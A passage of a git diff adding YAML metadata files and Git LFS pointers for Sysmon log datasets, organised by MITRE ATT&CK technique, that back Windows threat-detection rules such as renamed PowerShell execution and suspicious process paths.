a/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/sysmon-b5d42382-83a2-4d46-bd6b-ced45628f4a8.log b/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/sysmon-b5d42382-83a2-4d46-bd6b-ced45628f4a8.log new file mode 100644 index 000000000..1de9aa675 --- /dev/null +++ b/datasets/attack_techniques/T1033/qakbot_discovery_cmdline/sysmon-b5d42382-83a2-4d46-bd6b-ced45628f4a8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:07f4a8846526e74dfb59ee38a24105d0f81409ff8e584e2327f1d5a9d1ee312b +size 19329 diff --git a/datasets/attack_techniques/T1033/query_remote_usage/T1033_query_remote_usage.yml b/datasets/attack_techniques/T1033/query_remote_usage/T1033_query_remote_usage.yml new file mode 100644 index 000000000..0e991753d --- /dev/null +++ b/datasets/attack_techniques/T1033/query_remote_usage/T1033_query_remote_usage.yml @@ -0,0 +1,13 @@ +author: STRT +id: b9e51285-c4a2-4033-9d36-e4c14ef225c5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System Remote Discovery + With Query +environment: attack_range +directory: query_remote_usage +mitre_technique: [] +datasets: +- name: query_remote_usage + path: /datasets/attack_techniques/T1033/query_remote_usage/query_remote_usage-b9e51285-c4a2-4033-9d36-e4c14ef225c5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1033/query_remote_usage/query_remote_usage-b9e51285-c4a2-4033-9d36-e4c14ef225c5.log b/datasets/attack_techniques/T1033/query_remote_usage/query_remote_usage-b9e51285-c4a2-4033-9d36-e4c14ef225c5.log new file mode 100644 index 000000000..f421daf01 --- /dev/null +++ b/datasets/attack_techniques/T1033/query_remote_usage/query_remote_usage-b9e51285-c4a2-4033-9d36-e4c14ef225c5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c822932ae9d95afa097e7993cc9564c4042b7fb15268b1129dead7aa21706cfb +size 8120 diff --git a/datasets/attack_techniques/T1033/whoami_priv/T1033_whoami_priv.yml b/datasets/attack_techniques/T1033/whoami_priv/T1033_whoami_priv.yml new file mode 100644 index 000000000..f58926e62 --- /dev/null +++ b/datasets/attack_techniques/T1033/whoami_priv/T1033_whoami_priv.yml @@ -0,0 +1,13 @@ +author: STRT +id: b07d0fe6-ef48-47ff-908c-798f0e78ed4b +date: '2026-07-11' +description: Curated attack data generated for detection Windows System User Privilege + Discovery +environment: attack_range +directory: whoami_priv +mitre_technique: [] +datasets: +- name: whoami-priv-sysmon + path: /datasets/attack_techniques/T1033/whoami_priv/whoami-priv-sysmon-b07d0fe6-ef48-47ff-908c-798f0e78ed4b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1033/whoami_priv/whoami-priv-sysmon-b07d0fe6-ef48-47ff-908c-798f0e78ed4b.log b/datasets/attack_techniques/T1033/whoami_priv/whoami-priv-sysmon-b07d0fe6-ef48-47ff-908c-798f0e78ed4b.log new file mode 100644 index 000000000..7efb2c9e1 --- /dev/null +++ b/datasets/attack_techniques/T1033/whoami_priv/whoami-priv-sysmon-b07d0fe6-ef48-47ff-908c-798f0e78ed4b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:80dfb133854d6d3a390632871f9f7d72c40afc7fedf314a13a927d527ed29a74 +size 3954 diff --git a/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/T1035.009_suspicious_spawn_svchost.yml b/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/T1035.009_suspicious_spawn_svchost.yml new file mode 100644 index 000000000..e202ee381 --- /dev/null +++ b/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/T1035.009_suspicious_spawn_svchost.yml @@ -0,0 +1,13 @@ +author: STRT +id: cd198f4a-08c1-4510-83f4-b6dcbaedbc25 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Svchost.exe Parent + Process Anomaly +environment: attack_range +directory: suspicious_spawn_svchost +mitre_technique: [] +datasets: +- name: susp_svchost_proc + path: /datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/susp_svchost_proc-cd198f4a-08c1-4510-83f4-b6dcbaedbc25.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/susp_svchost_proc-cd198f4a-08c1-4510-83f4-b6dcbaedbc25.log b/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/susp_svchost_proc-cd198f4a-08c1-4510-83f4-b6dcbaedbc25.log new file mode 100644 index 000000000..38daf5ced --- /dev/null +++ b/datasets/attack_techniques/T1035.009/suspicious_spawn_svchost/susp_svchost_proc-cd198f4a-08c1-4510-83f4-b6dcbaedbc25.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:826f2bc1212f2e323b41430c041e2608e02b915d03d061b5bb1cd199d75611a3 +size 2039 diff --git a/datasets/attack_techniques/T1036.003/atomic_red_team/T1036.003_atomic_red_team.yml b/datasets/attack_techniques/T1036.003/atomic_red_team/T1036.003_atomic_red_team.yml new file mode 100644 index 000000000..d3f5574be --- /dev/null +++ b/datasets/attack_techniques/T1036.003/atomic_red_team/T1036.003_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 36f56a3d-a7bf-4206-b3f1-e699ff75d6ae +date: '2026-07-11' +description: Curated attack data generated for detection Execution of File with Multiple + Extensions +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1036.003/atomic_red_team/windows-sysmon-36f56a3d-a7bf-4206-b3f1-e699ff75d6ae.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036.003/atomic_red_team/windows-sysmon-36f56a3d-a7bf-4206-b3f1-e699ff75d6ae.log b/datasets/attack_techniques/T1036.003/atomic_red_team/windows-sysmon-36f56a3d-a7bf-4206-b3f1-e699ff75d6ae.log new file mode 100644 index 000000000..e096bc9c7 --- /dev/null +++ b/datasets/attack_techniques/T1036.003/atomic_red_team/windows-sysmon-36f56a3d-a7bf-4206-b3f1-e699ff75d6ae.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7683537f089cdf0738bd292d93bd171f2d3098ddcf69e92204be6ea5c9fa1823 +size 64878 diff --git a/datasets/attack_techniques/T1036.003/renamed_powershell/T1036.003_renamed_powershell.yml b/datasets/attack_techniques/T1036.003/renamed_powershell/T1036.003_renamed_powershell.yml new file mode 100644 index 000000000..7e30d9ce7 --- /dev/null +++ b/datasets/attack_techniques/T1036.003/renamed_powershell/T1036.003_renamed_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: f1353800-662c-4c7c-aa08-4ab671452fff +date: '2026-07-11' +description: Curated attack data generated for detection Windows Renamed Powershell + Execution +environment: attack_range +directory: renamed_powershell +mitre_technique: [] +datasets: +- name: renamed_powershell + path: /datasets/attack_techniques/T1036.003/renamed_powershell/renamed_powershell-f1353800-662c-4c7c-aa08-4ab671452fff.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036.003/renamed_powershell/renamed_powershell-f1353800-662c-4c7c-aa08-4ab671452fff.log b/datasets/attack_techniques/T1036.003/renamed_powershell/renamed_powershell-f1353800-662c-4c7c-aa08-4ab671452fff.log new file mode 100644 index 000000000..cdb31eda3 --- /dev/null +++ b/datasets/attack_techniques/T1036.003/renamed_powershell/renamed_powershell-f1353800-662c-4c7c-aa08-4ab671452fff.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fce37a2f2ce04e979fce54d3e9f56c3a783e98935ff6462e7ced333a419f53ea +size 1942 diff --git a/datasets/attack_techniques/T1036.003/samsam_extension/T1036.003_samsam_extension.yml b/datasets/attack_techniques/T1036.003/samsam_extension/T1036.003_samsam_extension.yml new file mode 100644 index 000000000..32f085cf8 --- /dev/null +++ b/datasets/attack_techniques/T1036.003/samsam_extension/T1036.003_samsam_extension.yml @@ -0,0 +1,12 @@ +author: STRT +id: fa591740-c309-46b8-9205-27c727f5f8ac +date: '2026-07-10' +description: Curated attack data generated for detection File with Samsam Extension +environment: attack_range +directory: samsam_extension +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1036.003/samsam_extension/windows-sysmon-fa591740-c309-46b8-9205-27c727f5f8ac.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036.003/samsam_extension/windows-sysmon-fa591740-c309-46b8-9205-27c727f5f8ac.log b/datasets/attack_techniques/T1036.003/samsam_extension/windows-sysmon-fa591740-c309-46b8-9205-27c727f5f8ac.log new file mode 100644 index 000000000..03e04f210 --- /dev/null +++ b/datasets/attack_techniques/T1036.003/samsam_extension/windows-sysmon-fa591740-c309-46b8-9205-27c727f5f8ac.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:214fd217e5787c05b3a233f24c6c184c2744984d02c7ff1cbc36a610a3d40e34 +size 1039 diff --git a/datasets/attack_techniques/T1036.005/process_in_programdata/T1036.005_process_in_programdata.yml b/datasets/attack_techniques/T1036.005/process_in_programdata/T1036.005_process_in_programdata.yml new file mode 100644 index 000000000..31419ccf9 --- /dev/null +++ b/datasets/attack_techniques/T1036.005/process_in_programdata/T1036.005_process_in_programdata.yml @@ -0,0 +1,13 @@ +author: STRT +id: e60a00d0-70b9-4927-b9cd-3d3db33d27ea +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Execution + From ProgramData +environment: attack_range +directory: process_in_programdata +mitre_technique: [] +datasets: +- name: exec_programdata + path: /datasets/attack_techniques/T1036.005/process_in_programdata/exec_programdata-e60a00d0-70b9-4927-b9cd-3d3db33d27ea.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036.005/process_in_programdata/exec_programdata-e60a00d0-70b9-4927-b9cd-3d3db33d27ea.log b/datasets/attack_techniques/T1036.005/process_in_programdata/exec_programdata-e60a00d0-70b9-4927-b9cd-3d3db33d27ea.log new file mode 100644 index 000000000..d7235af6a --- /dev/null +++ b/datasets/attack_techniques/T1036.005/process_in_programdata/exec_programdata-e60a00d0-70b9-4927-b9cd-3d3db33d27ea.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8f19b25e799cfdd07bc0485a7ac9700f65aeb5ebd0ed2e1e46a85b4605fff617 +size 2025 diff --git a/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/T1036.008_masquerading_executable_as_non_exec_file_type.yml b/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/T1036.008_masquerading_executable_as_non_exec_file_type.yml new file mode 100644 index 000000000..165b8d690 --- /dev/null +++ b/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/T1036.008_masquerading_executable_as_non_exec_file_type.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4cec375c-0ff1-403a-a059-b58f868169bd +date: '2026-07-11' +description: Curated attack data generated for detection Windows Executable Masquerading + as Benign File Types +environment: attack_range +directory: masquerading_executable_as_non_exec_file_type +mitre_technique: [] +datasets: +- name: non_exec_ext_but_exec_detected + path: /datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/non_exec_ext_but_exec_detected-4cec375c-0ff1-403a-a059-b58f868169bd.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/non_exec_ext_but_exec_detected-4cec375c-0ff1-403a-a059-b58f868169bd.log b/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/non_exec_ext_but_exec_detected-4cec375c-0ff1-403a-a059-b58f868169bd.log new file mode 100644 index 000000000..90a3463d1 --- /dev/null +++ b/datasets/attack_techniques/T1036.008/masquerading_executable_as_non_exec_file_type/non_exec_ext_but_exec_detected-4cec375c-0ff1-403a-a059-b58f868169bd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7e3c02299b7a0cd51518c796bd6b7c29b7bb51315479ca488b2fc7f2835020b9 +size 10819 diff --git a/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/32bit_spawn_64bit-770511b9-7f0c-407d-82a8-fa8e165fcab6.log b/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/32bit_spawn_64bit-770511b9-7f0c-407d-82a8-fa8e165fcab6.log new file mode 100644 index 000000000..38daf5ced --- /dev/null +++ b/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/32bit_spawn_64bit-770511b9-7f0c-407d-82a8-fa8e165fcab6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:826f2bc1212f2e323b41430c041e2608e02b915d03d061b5bb1cd199d75611a3 +size 2039 diff --git a/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/T1036.009_32bit_process_execute_64bit.yml b/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/T1036.009_32bit_process_execute_64bit.yml new file mode 100644 index 000000000..f41e2904e --- /dev/null +++ b/datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/T1036.009_32bit_process_execute_64bit.yml @@ -0,0 +1,13 @@ +author: STRT +id: 770511b9-7f0c-407d-82a8-fa8e165fcab6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Unusual SysWOW64 + Process Run System32 Executable +environment: attack_range +directory: 32bit_process_execute_64bit +mitre_technique: [] +datasets: +- name: 32bit_spawn_64bit + path: /datasets/attack_techniques/T1036.009/32bit_process_execute_64bit/32bit_spawn_64bit-770511b9-7f0c-407d-82a8-fa8e165fcab6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/cmd_lolbas_usage/T1036_cmd_lolbas_usage.yml b/datasets/attack_techniques/T1036/cmd_lolbas_usage/T1036_cmd_lolbas_usage.yml new file mode 100644 index 000000000..8ef5d7a3e --- /dev/null +++ b/datasets/attack_techniques/T1036/cmd_lolbas_usage/T1036_cmd_lolbas_usage.yml @@ -0,0 +1,13 @@ +author: STRT +id: fba176b9-7bf9-44fc-a89f-948090226ee0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows LOLBAS Executed As + Renamed File +environment: attack_range +directory: cmd_lolbas_usage +mitre_technique: [] +datasets: +- name: cmd_lolbas_usage + path: /datasets/attack_techniques/T1036/cmd_lolbas_usage/cmd_lolbas_usage-fba176b9-7bf9-44fc-a89f-948090226ee0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/cmd_lolbas_usage/cmd_lolbas_usage-fba176b9-7bf9-44fc-a89f-948090226ee0.log b/datasets/attack_techniques/T1036/cmd_lolbas_usage/cmd_lolbas_usage-fba176b9-7bf9-44fc-a89f-948090226ee0.log new file mode 100644 index 000000000..4837b5631 --- /dev/null +++ b/datasets/attack_techniques/T1036/cmd_lolbas_usage/cmd_lolbas_usage-fba176b9-7bf9-44fc-a89f-948090226ee0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d25f5df3cc133e8f604858661af72bdeb3b1e2a6fe558842dcd86a002ef2897b +size 2164 diff --git a/datasets/attack_techniques/T1036/debugger_execution/T1036_debugger_execution.yml b/datasets/attack_techniques/T1036/debugger_execution/T1036_debugger_execution.yml new file mode 100644 index 000000000..fcbcf76a7 --- /dev/null +++ b/datasets/attack_techniques/T1036/debugger_execution/T1036_debugger_execution.yml @@ -0,0 +1,12 @@ +author: STRT +id: cdd32e66-7de4-43b9-b18e-b5fc832ba12a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Debugger Tool Execution +environment: attack_range +directory: debugger_execution +mitre_technique: [] +datasets: +- name: debugger + path: /datasets/attack_techniques/T1036/debugger_execution/debugger-cdd32e66-7de4-43b9-b18e-b5fc832ba12a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/debugger_execution/debugger-cdd32e66-7de4-43b9-b18e-b5fc832ba12a.log b/datasets/attack_techniques/T1036/debugger_execution/debugger-cdd32e66-7de4-43b9-b18e-b5fc832ba12a.log new file mode 100644 index 000000000..a0089b22d --- /dev/null +++ b/datasets/attack_techniques/T1036/debugger_execution/debugger-cdd32e66-7de4-43b9-b18e-b5fc832ba12a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:55f5df6df5205e5785af9ab0c127832eb5813466dd2277978f151f635272d616 +size 7735 diff --git a/datasets/attack_techniques/T1036/executables_suspicious_file_path/T1036_executables_suspicious_file_path.yml b/datasets/attack_techniques/T1036/executables_suspicious_file_path/T1036_executables_suspicious_file_path.yml new file mode 100644 index 000000000..8757ffb08 --- /dev/null +++ b/datasets/attack_techniques/T1036/executables_suspicious_file_path/T1036_executables_suspicious_file_path.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8616253f-f3c5-4e36-bb24-014193f36eac +date: '2026-07-10' +description: Curated attack data generated for detection Executables Or Script Creation + In Suspicious Path +environment: attack_range +directory: executables_suspicious_file_path +mitre_technique: [] +datasets: +- name: exec_susp_path2 + path: /datasets/attack_techniques/T1036/executables_suspicious_file_path/exec_susp_path2-8616253f-f3c5-4e36-bb24-014193f36eac.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/executables_suspicious_file_path/exec_susp_path2-8616253f-f3c5-4e36-bb24-014193f36eac.log b/datasets/attack_techniques/T1036/executables_suspicious_file_path/exec_susp_path2-8616253f-f3c5-4e36-bb24-014193f36eac.log new file mode 100644 index 000000000..ef601ee24 --- /dev/null +++ b/datasets/attack_techniques/T1036/executables_suspicious_file_path/exec_susp_path2-8616253f-f3c5-4e36-bb24-014193f36eac.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aa63471f3f49cbdf789dbaf4328d99a8cfdd2aa9dc2861562f731cee6912e1d3 +size 1043 diff --git a/datasets/attack_techniques/T1036/msdtc_process_param/T1036_msdtc_process_param.yml b/datasets/attack_techniques/T1036/msdtc_process_param/T1036_msdtc_process_param.yml new file mode 100644 index 000000000..55a1bf8ed --- /dev/null +++ b/datasets/attack_techniques/T1036/msdtc_process_param/T1036_msdtc_process_param.yml @@ -0,0 +1,13 @@ +author: STRT +id: eb9fd1b7-aef0-4e8c-9430-9d33b43eed77 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Masquerading Msdtc + Process +environment: attack_range +directory: msdtc_process_param +mitre_technique: [] +datasets: +- name: msdtc_a_sysmon + path: /datasets/attack_techniques/T1036/msdtc_process_param/msdtc_a_sysmon-eb9fd1b7-aef0-4e8c-9430-9d33b43eed77.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/msdtc_process_param/msdtc_a_sysmon-eb9fd1b7-aef0-4e8c-9430-9d33b43eed77.log b/datasets/attack_techniques/T1036/msdtc_process_param/msdtc_a_sysmon-eb9fd1b7-aef0-4e8c-9430-9d33b43eed77.log new file mode 100644 index 000000000..ab4145cf1 --- /dev/null +++ b/datasets/attack_techniques/T1036/msdtc_process_param/msdtc_a_sysmon-eb9fd1b7-aef0-4e8c-9430-9d33b43eed77.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0cb72dd5c48a3e435b7fe3500c46106891c30a212d13fce1cf5915b7b4953a92 +size 1974 diff --git a/datasets/attack_techniques/T1036/netsupport_modules/T1036_netsupport_modules.yml b/datasets/attack_techniques/T1036/netsupport_modules/T1036_netsupport_modules.yml new file mode 100644 index 000000000..43cb50d8f --- /dev/null +++ b/datasets/attack_techniques/T1036/netsupport_modules/T1036_netsupport_modules.yml @@ -0,0 +1,13 @@ +author: STRT +id: a9be2d79-bc28-44c4-a210-8d42e838f579 +date: '2026-07-11' +description: Curated attack data generated for detection Windows NetSupport RMM DLL + Loaded By Uncommon Process +environment: attack_range +directory: netsupport_modules +mitre_technique: [] +datasets: +- name: net_support_module + path: /datasets/attack_techniques/T1036/netsupport_modules/net_support_module-a9be2d79-bc28-44c4-a210-8d42e838f579.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/netsupport_modules/net_support_module-a9be2d79-bc28-44c4-a210-8d42e838f579.log b/datasets/attack_techniques/T1036/netsupport_modules/net_support_module-a9be2d79-bc28-44c4-a210-8d42e838f579.log new file mode 100644 index 000000000..9d43ee4d2 --- /dev/null +++ b/datasets/attack_techniques/T1036/netsupport_modules/net_support_module-a9be2d79-bc28-44c4-a210-8d42e838f579.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ad932b05b6c486067cfff7d9c7d7cc0a7749b8bc09c808c467dc652633f8e718 +size 6221 diff --git a/datasets/attack_techniques/T1036/process_temp_path/T1036_process_temp_path.yml b/datasets/attack_techniques/T1036/process_temp_path/T1036_process_temp_path.yml new file mode 100644 index 000000000..ef81e7f8d --- /dev/null +++ b/datasets/attack_techniques/T1036/process_temp_path/T1036_process_temp_path.yml @@ -0,0 +1,13 @@ +author: STRT +id: 771bb51e-0a5a-42dd-9c8f-8bce14102797 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Process Execution + in Temp Dir +environment: attack_range +directory: process_temp_path +mitre_technique: [] +datasets: +- name: process_temp_path + path: /datasets/attack_techniques/T1036/process_temp_path/process_temp_path-771bb51e-0a5a-42dd-9c8f-8bce14102797.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/process_temp_path/process_temp_path-771bb51e-0a5a-42dd-9c8f-8bce14102797.log b/datasets/attack_techniques/T1036/process_temp_path/process_temp_path-771bb51e-0a5a-42dd-9c8f-8bce14102797.log new file mode 100644 index 000000000..cbcc3a337 --- /dev/null +++ b/datasets/attack_techniques/T1036/process_temp_path/process_temp_path-771bb51e-0a5a-42dd-9c8f-8bce14102797.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8d2a533557e85c16ba8f0488f7c7dc9e60d20d7331635c1b288663434e36a016 +size 3984 diff --git a/datasets/attack_techniques/T1036/snapattack/T1036_snapattack.yml b/datasets/attack_techniques/T1036/snapattack/T1036_snapattack.yml new file mode 100644 index 000000000..77c6b062e --- /dev/null +++ b/datasets/attack_techniques/T1036/snapattack/T1036_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 391f58b5-0b94-4cb7-9747-0ab24853b9cb +date: '2026-07-11' +description: Curated attack data generated for detection Windows SoftEther VPN Masquerading + as Legitimate Binary +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1036/snapattack/snapattack-391f58b5-0b94-4cb7-9747-0ab24853b9cb.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/snapattack/snapattack-391f58b5-0b94-4cb7-9747-0ab24853b9cb.log b/datasets/attack_techniques/T1036/snapattack/snapattack-391f58b5-0b94-4cb7-9747-0ab24853b9cb.log new file mode 100644 index 000000000..f86e94acf --- /dev/null +++ b/datasets/attack_techniques/T1036/snapattack/snapattack-391f58b5-0b94-4cb7-9747-0ab24853b9cb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cbb7d30033041ba96361715c362abb5743bfc5ea951095d1833ed27f1f652d18 +size 4328 diff --git a/datasets/attack_techniques/T1036/suspicious_process_path/T1036_suspicious_process_path.yml b/datasets/attack_techniques/T1036/suspicious_process_path/T1036_suspicious_process_path.yml new file mode 100644 index 000000000..96b5cf60e --- /dev/null +++ b/datasets/attack_techniques/T1036/suspicious_process_path/T1036_suspicious_process_path.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3b912b23-5799-4979-b157-80c0642923ee +date: '2026-07-11' +description: Curated attack data generated for detection Windows Suspicious Process + File Path +environment: attack_range +directory: suspicious_process_path +mitre_technique: [] +datasets: +- name: susp_path_sysmon1 + path: /datasets/attack_techniques/T1036/suspicious_process_path/susp_path_sysmon1-3b912b23-5799-4979-b157-80c0642923ee.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/suspicious_process_path/susp_path_sysmon1-3b912b23-5799-4979-b157-80c0642923ee.log b/datasets/attack_techniques/T1036/suspicious_process_path/susp_path_sysmon1-3b912b23-5799-4979-b157-80c0642923ee.log new file mode 100644 index 000000000..bc3559143 --- /dev/null +++ b/datasets/attack_techniques/T1036/suspicious_process_path/susp_path_sysmon1-3b912b23-5799-4979-b157-80c0642923ee.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e5d9dd394138305b60b75452ce71c2bcc508b8797e7e073267a1d431b141156b +size 2014 diff --git a/datasets/attack_techniques/T1036/write_to_recycle_bin/T1036_write_to_recycle_bin.yml b/datasets/attack_techniques/T1036/write_to_recycle_bin/T1036_write_to_recycle_bin.yml new file mode 100644 index 000000000..12c432f29 --- /dev/null +++ b/datasets/attack_techniques/T1036/write_to_recycle_bin/T1036_write_to_recycle_bin.yml @@ -0,0 +1,13 @@ +author: STRT +id: 586d9370-72d8-4329-871c-eb9591a26b75 +date: '2026-07-11' +description: Curated attack data generated for detection Suspicious writes to windows + Recycle Bin +environment: attack_range +directory: write_to_recycle_bin +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1036/write_to_recycle_bin/windows-sysmon-586d9370-72d8-4329-871c-eb9591a26b75.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1036/write_to_recycle_bin/windows-sysmon-586d9370-72d8-4329-871c-eb9591a26b75.log b/datasets/attack_techniques/T1036/write_to_recycle_bin/windows-sysmon-586d9370-72d8-4329-871c-eb9591a26b75.log new file mode 100644 index 000000000..2ddfb8d24 --- /dev/null +++ b/datasets/attack_techniques/T1036/write_to_recycle_bin/windows-sysmon-586d9370-72d8-4329-871c-eb9591a26b75.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:789756b96f9aa7221d3df5b7d1d4e29dcb4652013f00649c723e92a041e80c32 +size 977 diff --git a/datasets/attack_techniques/T1037.001/logonscript_reg/T1037.001_logonscript_reg.yml b/datasets/attack_techniques/T1037.001/logonscript_reg/T1037.001_logonscript_reg.yml new file mode 100644 index 000000000..92ee7f09e --- /dev/null +++ b/datasets/attack_techniques/T1037.001/logonscript_reg/T1037.001_logonscript_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 7ceb0cf0-ab5e-46db-a84a-d492a5ba40e6 +date: '2026-07-10' +description: Curated attack data generated for detection Logon Script Event Trigger + Execution +environment: attack_range +directory: logonscript_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1037.001/logonscript_reg/sysmon-7ceb0cf0-ab5e-46db-a84a-d492a5ba40e6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1037.001/logonscript_reg/sysmon-7ceb0cf0-ab5e-46db-a84a-d492a5ba40e6.log b/datasets/attack_techniques/T1037.001/logonscript_reg/sysmon-7ceb0cf0-ab5e-46db-a84a-d492a5ba40e6.log new file mode 100644 index 000000000..fc222efbd --- /dev/null +++ b/datasets/attack_techniques/T1037.001/logonscript_reg/sysmon-7ceb0cf0-ab5e-46db-a84a-d492a5ba40e6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:150f45006373b9cfe4dcb25b76e28213d7d70ad7476482e02d687167ec771173 +size 5248 diff --git a/datasets/attack_techniques/T1046/advanced_ip_port_scanner/T1046_advanced_ip_port_scanner.yml b/datasets/attack_techniques/T1046/advanced_ip_port_scanner/T1046_advanced_ip_port_scanner.yml new file mode 100644 index 000000000..55467c253 --- /dev/null +++ b/datasets/attack_techniques/T1046/advanced_ip_port_scanner/T1046_advanced_ip_port_scanner.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4dc825fb-ed53-41fd-81ba-32f2eb5c787e +date: '2026-07-10' +description: Curated attack data generated for detection Advanced IP or Port Scanner + Execution +environment: attack_range +directory: advanced_ip_port_scanner +mitre_technique: [] +datasets: +- name: advanced_ip_port_scanner + path: 